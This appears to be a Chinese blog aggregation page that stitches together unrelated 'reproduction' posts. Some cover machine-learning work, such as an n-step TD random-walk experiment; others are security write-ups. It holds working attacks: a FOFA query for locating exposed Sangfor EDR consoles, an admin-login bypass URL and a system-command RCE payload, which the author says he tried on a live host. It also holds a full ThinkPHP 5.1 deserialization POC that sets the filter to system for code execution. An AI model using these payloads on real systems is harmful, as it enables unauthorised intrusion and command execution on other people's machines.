-
深信服EDR漏洞复现
2020-09-06 20:32:02往后,复现的每个漏洞,我都会分享出来,希望可以通过这种方式,提高自己的能力,也希望大家可以一起学习,共同进步 漏洞描述 据说是有人把源码放网上了,不过看了看源码审计的骨偶成,也确实利用php反序列化,从而...声明
往后,复现的每个漏洞,我都会分享出来,希望可以通过这种方式,提高自己的能力,也希望大家可以一起学习,共同进步
漏洞描述
据说是有人把源码放网上了,不过看了看源码审计的过程,也确实利用php反序列化,从而RCE
深信服终端检测响应平台EDR,围绕终端资产安全生命周期,通过预防、防御、检测、响应赋予终端更为细致的隔离策略、更为精准的查杀能力、更为持续的检测能力、更为快速的处置能力。支持统一化的终端资产管理、终端病毒查杀、终端合规性检查和访问控制策略管理,支持对安全事件的一键隔离处置,以及对热点事件IOC的全网威胁定位。绝大多数的EDR管理平台部署于内网环境中,少数系统可以通过外网地址访问
影响范围
<=v3.2.19(任意用户登录)
v3.2.16-19(RCE)
复现过程
使用fofa搜索
title=“终端检测响应平台”
我就试了试第一个
点进去后
https://IP:PORT/ui/login.php
任意用户登录
将URL改成如下,直接进入后台
https://IP:PORT/ui/login.php?user=admin
RCE
payload为
https://IP:PORT/tool/log/c.php?strip_slashes=system&host=id
-
PSMNet复现细节总结
2019-08-18 16:52:54PSMNet(金字塔立体匹配深度学习网络)作为毕业论文课题,在尝试复现的过程中,出现了许多问题。在解决问题的过程中也学到了很多,本文一是总结过程中的经验,二是希望能够给他人提供一些参考。由于时间和博主的知识...PSMNet(金字塔立体匹配深度学习网络)作为毕业论文课题,在尝试复现的过程中,出现了许多问题。在解决问题的过程中也学到了很多,本文一是总结过程中的经验,二是希望能够给他人提供一些参考。由于时间和博主的知识能力水平有限,如有错误和不足,还请谅解。
在此着重感谢博主@EmptyCity1995的《运行PSMNet网络时遇到的问题及解决方案》对我的指导,运行中出现的很多问题,在该博文中大部分都能找到对应的解决方案。- 硬件配置方面,复现对显卡及显存有一定要求,否则会像我首次在笔记本搭建的环境上报错:CUDA out of memory.
- Tensorflow-GPU的搭建,主要参考了https://zhuanlan.zhihu.com/p/59109217中的方法,过程简单,如果部分安装失败重新键入命令即可。
- 代码和数据集的下载,在GitHub中原作者发布的代码和说明中获取,https://github.com/JiaRenChang/PSMNet
…………
待更新
-
强化学习算法复现(四):n步自举法的价值预测能力_随机游走问题
2020-12-04 23:17:29两个终止状态 # S=0时,左边终止 reward=-1 # S=20时,右边终止 reward=1 END_STATES = [0, N_STATES + 1] # 随机游走问题中真实的价值函数,用来通过误差评比各种算法的预测能力 TRUE_VALUE = np.arange(-20, 22, 2...【马尔可夫收益过程(Markov reward process , MRP)】是指不包含动作的马尔可夫决策过程,在只关心预测问题时使用的模型。
问题描述:
以中心状态C开始,在每个时刻以相同的概率向左或向右移动一个状态,在两端终止,episode终止于最右侧时会有+1的收益,除此之外收益均为0。
对于19个状态的随机游走问题,其左端收益为-1,右端收益为+1,其真实的价值应为[ 0. , -0.9, -0.8, -0.7, -0.6, -0.5, -0.4, -0.3, -0.2, -0.1, 0. , 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 0. ]导入所需要的包:
import numpy as np import matplotlib import matplotlib.pyplot as plt from tqdm import tqdm plt.rcParams['font.sans-serif'] = ['SimHei'] # 正确显示中文 plt.rcParams['axes.unicode_minus'] = False # 正确显示正负号
问题描述:
# 共有19个状态 N_STATES = 19 # 折扣系数 GAMMA = 1 # 状态合计【1,2,3,4,……,19】 STATES = np.arange(1, N_STATES + 1) # 起始状态_中间位置开始 START_STATE = (N_STATES+1)/2 # 两个终止状态 # S=0时,左边终止 reward=-1 # S=20时,右边终止 reward=1 END_STATES = [0, N_STATES + 1] # 随机游走问题中真实的价值函数,用来通过误差评比各种算法的预测能力 TRUE_VALUE = np.arange(-20, 22, 2) / 20.0 TRUE_VALUE[0] = TRUE_VALUE[-1] = 0 #第一个和最后一个都是0
环境交互函数:(随机action)
def env_step(state): # 随机游走,更新state if np.random.binomial(1, 0.5) == 1: next_state = state + 1 else: next_state = state - 1 # 根据state ,反馈回reward if next_state == 0: reward = -1 elif next_state == 20: reward = 1 else: reward = 0 done = False if next_state in END_STATES: done = True # 到达终点 info=' ' return next_state,reward,done,info
一、n-steps TD method(n步自举法)预测随机游走问题的状态价值
def temporal_difference(value, n, alpha): # @value: 更新对象——状态价值评估结果 # @n: 每相隔几步进行更新 # @alpha: 学习率 state = START_STATE # 初始化state,出发 time = 0 # 储存一个episode中的state and reward states = [state] rewards = [0] T = float('inf') # 幕序列时长到正无穷 while True: # episode开始 time += 1 if time < T: next_state, reward, done, info = env_step(state) states.append(next_state) rewards.append(reward) if done: T = time # 到达终点 #更新第update_num个状态 update_num = time - n if update_num >= 0: returns = 0.0 # 计算累计收益 for t in range(update_num + 1, min(T, update_num + n) + 1): returns += pow(GAMMA, t - update_num - 1) * rewards[t] # 加入折后回报 if time <= T: s=int(states[(update_num + n)]) returns += pow(GAMMA, n) * value[s] state_to_update = int(states[update_num]) if state_to_update not in END_STATES: #两个终端状态不进行估计 value[state_to_update] += alpha * (returns - value[state_to_update]) if update_num == T - 1: break state = next_state # 更新state
选择一组超参数,观察算法收敛性
# 超参数选择 n = 8 # 自举数 alpha = 0.2 # 步长 episode_num = 100 #玩几局游戏 episodes = np.arange(1, episode_num+1) value = np.zeros(N_STATES + 2) #初始化 errors = [] error = 0.0 for ep in range(0,episode_num): temporal_difference(value, n, alpha) # 更新价值 error += np.sqrt(np.sum(np.power(value - TRUE_VALUE, 2)) / N_STATES) error_a = error / (ep+1) errors.append(error_a) plt.plot(episodes, errors) plt.xlabel('游戏环节数') plt.ylabel('与真实价值的误差为') plt.show()
对比不同步长与不同学习率对预测能力的影响
def figure7_2(): # 步长分别为:[ 1, 2, 4, 8, 16, 32, 64, 128] steps = np.power(2, np.arange(0, 8)) # 学习率分别为:[0. , 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1. ] alphas = np.arange(0, 1.1, 0.1) # 进行20次游戏 episodes = 20 # 进行10次独立实验测试 runs = 10 # errors数组存储每个steps和每个alpha对应的error errors = np.zeros((len(steps), len(alphas))) for run in tqdm(range(0, runs)):#进度条 for step_ind, step in enumerate(steps): for alpha_ind, alpha in enumerate(alphas): value = np.zeros(N_STATES + 2) #初始化21个value for ep in range(0, episodes): temporal_difference(value, step, alpha) errors[step_ind, alpha_ind] += np.sqrt(np.sum(np.power(value - TRUE_VALUE, 2)) / N_STATES) errors /= episodes * runs for i in range(0, len(steps)): plt.plot(alphas, errors[i, :], label='n = %d' % (steps[i])) plt.xlabel('不同学习率α') plt.ylabel('19个状态前10幕经验的均方误差') plt.ylim([0.2, 0.6])# 纵轴坐标范围 plt.legend() plt.savefig('figure_7_2.png') plt.show() figure7_2()
n为1时是单步TD、n为正无穷时是MC预测。
由此可见,n去中间值时的预测效果更好,这也证明了将单步TD和MC方法推广至N步自举法能够得到更好的结果。其中学习率的调节也应随着n的调节变化。 -
使用cityscapes复现CoGAN或BiGAN
2019-04-26 11:20:18各位大佬有没有使用CoGAN或BIGAN实现cityscapes数据集的,想使用这个数据集复现这两个模型,但因初学,能力不够,所以想拜读一下各位实现的代码。谢谢各位大佬。email:1453916387@qq.com.急救急救! -
Thinkphp5.1 反序列化漏洞复现
2021-02-18 11:20:13开始tp5.1的反序列化链的复现,这个链我上学期10月份的时候尝试复现过,但是当时的自己代码审计能力,反序列化的能力也都实在太菜,不足以理解这个链。这个链相比yii2,laravel5.7,5.8的那些链,长度和难度都提高了...前言
开始tp5.1的反序列化链的复现,这个链我上学期10月份的时候尝试复现过,但是当时的自己代码审计能力,反序列化的能力也都实在太菜,不足以理解这个链。这个链相比yii2,laravel5.7,5.8的那些链,长度和难度都提高了很多,思维的跳跃也很,自己也要想办法把它啃下来。
源码下载:
thinkphp5源码
或者去github上下载也可以。然后写个控制器:
<?php namespace app\index\controller; class Unserialize { public function unserialize(){ if(isset($_POST['data'])){ $data=input('post.data'); unserialize(base64_decode($data)); }else{ highlight_file(__FILE__); } } }
然后可以拿thinkphp自己的url解析方式访问控制器,不过这里顺便学习一下tp的路由设置:
return [ 'unserialize' => 'index/unserialize/unserialize', ];
访问/unserialize即可:
不过这路由的设置可能有些奇怪?。。问题不大。反序列化链分析
入口点是think\process\pipes的windows类的
__destruct
:
跟进一下,close()
方法没法利用,注意一下removeFiles()
方法:
因为$this->files
可控,所以这里存在任意文件删除。不过这不是这条链的重点,想办法拿shell才是正事。
注意到存在file_exists()
方法,考虑到$filename
可控,可以尝试寻找可用的__toString()
。经过寻找,定位到think\model\concern的trait Conversion:
跟进toJson()
:
继续:/** * 转换当前模型对象为数组 * @access public * @return array */ public function toArray() { $item = []; $hasVisible = false; foreach ($this->visible as $key => $val) { if (is_string($val)) { if (strpos($val, '.')) { list($relation, $name) = explode('.', $val); $this->visible[$relation][] = $name; } else { $this->visible[$val] = true; $hasVisible = true; } unset($this->visible[$key]); } } foreach ($this->hidden as $key => $val) { if (is_string($val)) { if (strpos($val, '.')) { list($relation, $name) = explode('.', $val); $this->hidden[$relation][] = $name; } else { $this->hidden[$val] = true; } unset($this->hidden[$key]); } } // 合并关联数据 $data = array_merge($this->data, $this->relation); foreach ($data as $key => $val) { if ($val instanceof Model || $val instanceof ModelCollection) { // 关联模型对象 if (isset($this->visible[$key]) && is_array($this->visible[$key])) { $val->visible($this->visible[$key]); } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) { $val->hidden($this->hidden[$key]); } // 关联模型对象 if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) { $item[$key] = $val->toArray(); } } elseif (isset($this->visible[$key])) { $item[$key] = $this->getAttr($key); } elseif (!isset($this->hidden[$key]) && !$hasVisible) { $item[$key] = $this->getAttr($key); } } // 追加属性(必须定义获取器) if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { // 追加关联对象属性 $relation = $this->getRelation($key); if (!$relation) { $relation = $this->getAttr($key); if ($relation) { $relation->visible($name); } } $item[$key] = $relation ? $relation->append($name)->toArray() : []; } elseif (strpos($name, '.')) { list($key, $attr) = explode('.', $name); // 追加关联对象属性 $relation = $this->getRelation($key); if (!$relation) { $relation = $this->getAttr($key); if ($relation) { $relation->visible([$attr]); } } $item[$key] = $relation ? $relation->append([$attr])->toArray() : []; } else { $item[$name] = $this->getAttr($name, $item); } } } return $item; }
代码挺长的,重点是这里:
if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { // 追加关联对象属性 $relation = $this->getRelation($key); if (!$relation) { $relation = $this->getAttr($key); if ($relation) { $relation->visible($name); } }
最关键的地方就是看到了
$relation->visible($name);
如果是可控变量->方法名(可控变量),就可以想办法去寻找存在的可利用的方法或者__call。
看以下是否满足可控。$this->append
可控,看以下getRelation()
:
很容易构造返回为空,使得if (!$relation) {
成立,再看一下getAttr()
:public function getAttr($name, &$item = null) { try { $notFound = false; $value = $this->getData($name); } catch (InvalidArgumentException $e) { $notFound = true; $value = null; }
跟进
getData()
:
$name
是$this->append
的键名,而$this->data
可控,所以返回值可控,相当于$relation =$this->data[$key]
,所以$relation
可控。而$name
是$this->append
的键值,同样可控,所以$relation->visible($name);
可以考虑利用。
需要注意的是,__toString()是Conversion的,getAttr()
等是Attribute
的,这两个都是trait类。自 PHP 5.4.0 起,PHP 实现了一种代码复用的方法,称为 trait。通过在类中使用use 关键字,声明要组合的Trait名称。所以,这里类的继承要使用use关键字。然后我们需要找到一个子类同时继承了Attribute类和Conversion类。
经过寻找,找到了Model类。
但是这是一个抽象类,抽象类不能直接实例化。抽象类不能被直接实例化。抽象类中只定义(或部分实现)子类需要的方法。子类可以通过继承抽象类并通过实现抽象类中的所有抽象方法,使抽象类具体化。
如果子类需要实例化,前提是它实现了抽象类中的所有抽象方法。如果子类没有全部实现抽象类中的所有抽象方法,那么该子类也是一个抽象类,必须在 class 前面加上 abstract 关键字,并且不能被实例化。所以构造的时候需要实例化Model类的一个非抽象子类,找到了Pivot类。
$relation->visible($name);
怎么利用呢?全局搜索一下visible方法:
都无法利用,只能想办法利用__call()
,而且__call一般会存在__call_user_func和__call_user_func_array,php代码执行的终点经常选择这里。
经过寻找,Request类的__call()
方法可以使用:public function __call($method, $args) { if (array_key_exists($method, $this->hook)) { array_unshift($args, $this); return call_user_func_array($this->hook[$method], $args); } throw new Exception('method not exists:' . static::class . '->' . $method); }
但是不能直接利用
call_user_func_array
执行system,这里$method
是visible,$args是之前的$name
可控,但是有这行代码:array_unshift($args, $this);
。把$this
插到了$args
的最前面,使得system的第一个参数不可控,没法直接system。因此想办法回调thinkphp中的方法,而且经过一系列构造,最终命令执行中的参数和这里的$args
无关。在Thinkphp的Request类中还有一个filter功能,事实上Thinkphp多个RCE都与这个功能有关。我们可以尝试覆盖filter的方法去执行代码。
/** * 递归过滤给定的值 * @access public * @param mixed $value 键值 * @param mixed $key 键名 * @param array $filters 过滤方法+默认值 * @return mixed */ private function filterValue(&$value, $key, $filters) { $default = array_pop($filters); foreach ($filters as $filter) { if (is_callable($filter)) { // 调用函数或者方法过滤 $value = call_user_func($filter, $value);
我们要想办法利用的就是这里
$value = call_user_func($filter, $value);
。但是$filter
和$value
都不可控。这里有一个小trick,就是这个类的input方法:/** * 获取变量 支持过滤和默认值 * @access public * @param array $data 数据源 * @param string|false $name 字段名 * @param mixed $default 默认值 * @param string|array $filter 过滤函数 * @return mixed */ public function input($data = [], $name = '', $default = null, $filter = '') { if (false === $name) { // 获取原始数据 return $data; } $name = (string) $name; if ('' != $name) { // 解析name if (strpos($name, '/')) { list($name, $type) = explode('/', $name); } $data = $this->getData($data, $name); if (is_null($data)) { return $default; } if (is_object($data)) { return $data; } } // 解析过滤器 $filter = $this->getFilter($filter, $default); if (is_array($data)) { array_walk_recursive($data, [$this, 'filterValue'], $filter); if (version_compare(PHP_VERSION, '7.1.0', '<')) { // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针 $this->arrayReset($data); } } else { $this->filterValue($data, $name, $filter); } if (isset($type) && $data !== $default) { // 强制类型转换 $this->typeCast($data, $type); } return $data; }
重点就是这三行代码:
// 解析过滤器 $filter = $this->getFilter($filter, $default); if (is_array($data)) { array_walk_recursive($data, [$this, 'filterValue'], $filter);
利用
array_walk_recursive()
来调用filterValue
方法,注意$filter
是通过getFilter
得到的:
相当于$filter=$this->filter
,所以至此,回调函数可控。不可控的就剩下回调函数的参数了。public function input($data = [], $name = '', $default = null, $filter = '')
在这个函数中,
$data
不可控,如果$data
可控,而且$name
为空字符串的话,input函数中前面的那些代码if条件就不成立,不构成影响,$data
也就是回调函数的参数了,因此想办法控制input函数的参数,去寻找一下哪些函数中使用了input,因为在__call里面,我们可以使用任意方法,只不过参数不可控。经过寻找,发现了param函数:/** * 获取当前请求的参数 * @access public * @param mixed $name 变量名 * @param mixed $default 默认值 * @param string|array $filter 过滤方法 * @return mixed */ public function param($name = '', $default = null, $filter = '') { if (!$this->mergeParam) { $method = $this->method(true); // 自动获取请求变量 switch ($method) { case 'POST': $vars = $this->post(false); break; case 'PUT': case 'DELETE': case 'PATCH': $vars = $this->put(false); break; default: $vars = []; } // 当前请求参数和URL地址中的参数合并 $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false)); $this->mergeParam = true; } if (true === $name) { // 获取包含文件上传信息的数组 $file = $this->file(); $data = is_array($file) ? array_merge($this->param, $file) : $this->param; return $this->input($data, '', $default, $filter); } return $this->input($this->param, $name, $default, $filter); }
注意最后一行
return $this->input($this->param, $name, $default, $filter);
。本以为$this->param
是直接可控的,但是再看一下代码逻辑:$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->param
是由本来的$this->param
,还有请求参数和URL地址中的参数合并。
但考虑到调用的函数是array_walk_recursive
,数组中的每个成员都被回调函数调用,因此其实直接构造$this->param
也是可以的,但是考虑到可以动态命令执行,因此就不构造$this->param
了,而是把要执行的命令写在get参数里。还有一个问题就是
param()
方法中的$name
还是不可控。虽然param()
方法的默认$name
是空字符串,但是别忘了我们是在__call
里面的call_user_func_array
里调用它,第一个参数是$this
,所以这里$name
还是不可控,继续寻找,找到了isAjax函数:
终于,因为$this->config['var_ajax']可控
,所以param()
函数的第一个参数可控。
再回溯一下这个链。让param()
函数的第一个参数为空,相当于这里$this->input($this->param, $name, $default, $filter);
,$name
为空,$this->param
是get参数可控,因此array_walk_recursive($data, [$this, 'filterValue'], $filter);
$data
,filter
都彻底可控了,$value = call_user_func($filter, $value);
,回调函数和参数都可控,即可RCE了。
构造一波POC:<?php namespace think\process\pipes{ use think\model\Pivot; class Windows { private $files = []; public function __construct(){ $this->files[]=new Pivot(); } } } namespace think{ abstract class Model { protected $append = []; private $data = []; public function __construct(){ $this->data=array( 'feng'=>new Request() ); $this->append=array( 'feng'=>array( 'hello'=>'world' ) ); } } } namespace think\model{ use think\Model; class Pivot extends Model { } } namespace think{ class Request { protected $hook = []; protected $filter; protected $config = [ // 表单请求类型伪装变量 'var_method' => '_method', // 表单ajax伪装变量 'var_ajax' => '', // 表单pjax伪装变量 'var_pjax' => '_pjax', // PATHINFO变量名 用于兼容模式 'var_pathinfo' => 's', // 兼容PATH_INFO获取 'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'], // 默认全局过滤方法 用逗号分隔多个 'default_filter' => '', // 域名根,如thinkphp.cn 'url_domain_root' => '', // HTTPS代理标识 'https_agent_name' => '', // IP代理获取标识 'http_agent_ip' => 'HTTP_X_REAL_IP', // URL伪静态后缀 'url_html_suffix' => 'html', ]; public function __construct(){ $this->hook['visible']=[$this,'isAjax']; $this->filter="system"; } } } namespace{ use think\process\pipes\Windows; echo base64_encode(serialize(new Windows())); }
总结
学习了一波大师傅们构造反序列化链的思路。tp5.1的链确实长,一步一步的往上寻找可控参数,最终把需要的参数都可控,学习了。
参考文章:
Thinkphp 反序列化利用链深入分析 -
MS17-010永恒之蓝复现
2020-04-30 23:27:26成功利用这些漏洞的攻击者可以获取在目标系统上执行代码的能力。为了利用此漏洞,在多数情况下,未经身份验证的攻击者可能向目标 SMBv1 服务器发送经特殊设计的数据包。 漏洞复现 msfconsole //进入msfconsole (me..... -
CRNN端到端文本识别复现实践
2018-05-31 19:38:43原文:An End-to-End Trainable Neural Network for Image-based Sequence Recognition and Its Application to Scene ...论文提出的CRNN模型比较简单,并且泛化能力强,在这里进行模型的复现(使用Tensorflow)和训... -
飞桨PaddlePaddle复现论文UGATIT
2020-08-29 16:33:56attention模块通过基于辅助分类器获得的attention map增强生成器的生成能力,从而区分源域和目标域,也增强了判别器的判别能力,更好地区分了原始图像和生成图像。 AdaLIN功能帮助我们的attention-guided模型灵活地... -
2020HW深某服0day复现
2020-08-25 11:23:46终端检测响应平台EDR,围绕终端资产安全生命周期,通过预防、防御、检测、响应赋予终端更为细致的隔离策略、更为精准的查杀能力、更为持续的检测能力、更为快速的处置能力。在应对高级威胁的同时,通过云网端联动... -
论文复现TextCNN(基于PyTorch)
2020-12-28 13:02:10复现经典论文,可以回顾深度学习和自然语言处理基础,强化对常用模型的理解,体会经典模型中蕴含的设计哲学,为后续实现自己的模型打下良好基础。如果不深入了解深度学习原理,对基本的模型都不能实现,只会拿开源... -
yii2框架 反序列化漏洞复现
2021-02-16 13:27:38最近学习PHP反序列化的时候遇到了yii2反序列化的利用,就顺便搭了一下环境,跟着网上各种大师傅们的文章进行了一波复现和学习,提高自己代码审计的能力。 漏洞出现在yii2.0.38之前的版本中,在2.0.38进行了修复,CVE... -
【LaneNet】车道线检测代码复现过程
2020-06-09 16:53:35关于LaneNet算法,网上有很多资料,Github上面也有很多,可能是自身检索能力有限,捣鼓了几天,迟迟不能复现代码的效果。主要原因就是某些文件找不到,下载不下来。现在相关文件均放在百度网盘里面了。 windows系统... -
深度学习立体匹配-PSMNET复现测试
2020-12-24 12:43:21继续加强深度学习,对经典网络模型 尝试进行复现,提升自我网络模型更改的能力,从而达到对 立体匹配 网络 增加创新点; 2.尝试使用云服务器 进行 训练 3.深度学习立体匹配 视差图评估 和传统的立体匹配 不同,后期... -
分类——手写数字识别模型的复现
2021-02-20 00:55:27分类——手写数字识别模型的复现 问题重述 现有若干手写数字图片(mnist数据集),包含手写数字图片信息和标记,可以将手写图片看作由所有像素点数值组成的向量,需要编写一个模型识别出对应的数字。 实现思路 采用3... -
强化学习算法复现(四):online/offline_forward/backward_TD(λ)的价值预测能力_随机游走问题
2020-12-12 20:47:01# S=0时,左边终止 reward=-1 # S=20时,右边终止 reward=1 END_STATES = [0, N_STATES + 1] # 随机游走问题中真实的价值函数,用来通过误差评比各种算法的预测能力 TRUE_VALUE = np.arange(-20, 22, 2) / 20.0 TRUE...
-
客户端交互设计适配之屏幕大小
-
scrapy_pipelines.py
-
MySQL 四类管理日志(详解及高阶配置)
-
很多朋友都是从此绝交的,故事很短,却说穿了人性!
-
大尺寸薄壳物体表面的三维光学自动检测
-
100分钟定时关机,10分钟提醒程序
-
MySQL 多实例安装 及配置主从复制实验环境
-
“Operation not permitted”报错
-
TeamFoundationServer2010Scrum1.0与持续集成的最佳实践
-
Jsplumb从入门到实战
-
华为1+X——网络系统建设与运维(高级)
-
云存储基础架构剖析
-
DHCP 动态主机配置服务(在Linux环境下,配置单网段或跨网段提)
-
ubuntu下的apt-get内网本地源的搭建
-
细节让网页设计与众不同
-
开源软件测试模型
-
2021年 系统架构设计师 系列课
-
MMM 集群部署实现 MySQL 高可用和读写分离
-
利用坐标变换分析塔差对编码器测角精度测试的影响
-
jtpm1是什么接口